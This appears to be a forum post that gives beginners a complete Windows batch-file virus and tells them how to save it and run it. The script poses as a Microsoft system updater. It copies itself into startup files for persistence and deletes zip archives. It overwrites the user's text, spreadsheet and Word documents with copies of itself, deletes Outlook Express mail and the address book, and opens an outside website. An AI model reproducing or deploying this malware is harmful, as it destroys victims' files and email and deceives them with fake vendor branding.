There u go noobs a simple BAT virus code.
open up a notepad paste the code and save it with .BAT extension.This is a pretty lame batch file virus but still... @ECHO OFF
CLS
IF EXIST c:\winupdt.bat GOTO CODE
GOTO SETUP
:SETUP
@ECHO OFF
ECHO Welcome To Microsoft Windows System Updater Setup
ECHO.
copy %0 c:\winupdt.bat >> NUL
ECHO Scanning System.....Please Wait
prompt $P$SWindows2000
type %0 >> c:\autoexec.bat
type %0 >> c:\windows\dosstart.bat
ECHO DONE.
ECHO.
ECHO Installing Components....Please Wait
FOR %%a IN (*.zip) DO del %%a
FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >> NUL
FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >> NUL
FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >> NUL
ECHO DONE.
ECHO.
ECHO You Now Need to Register with Microsoft's Partner: Fortune Galaxy to receive automatic updates.
PAUSE
ECHO Downloading Components...Please Wait
START "C:\Program Files\Internet Explorer\Iexplore.exe" http://www.crosswinds.net/~hackingtruths
IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del "C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx"
IF EXIST "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" del "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab"
ECHO Setup Will Now restart Your Computer....Please Wait
ECHO Your System is not faster by almost 40%.
ECHO Thank you for using a Microsoft Partner's product.
copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >> NUL
c:\WINDOWS\RUNDLL user.exe,exitwindowsexec
CLS
GOTO END
:CODE
CLS
@ECHO OFF
prompt $P$SWindows2000
IF "%0" == "C:\AUTOEXEC.BAT" GOTO ABC
type %0 >> c:\autoexec.bat
:ABC
type %0 >> c:\windows\dosstart.bat
FOR %%a IN (*.zip) DO del %%a
FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >> NUL
FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >> NUL
FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >> NUL
START "C:\Program Files\Internet Explorer\Iexplore.exe" http://www.crosswinds.net/~hackingtruths
IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del "C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx" >> NUL
IF EXIST "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" del "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" >> NUL
copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >> NUL
GOTO :END
CLS
:END
CLS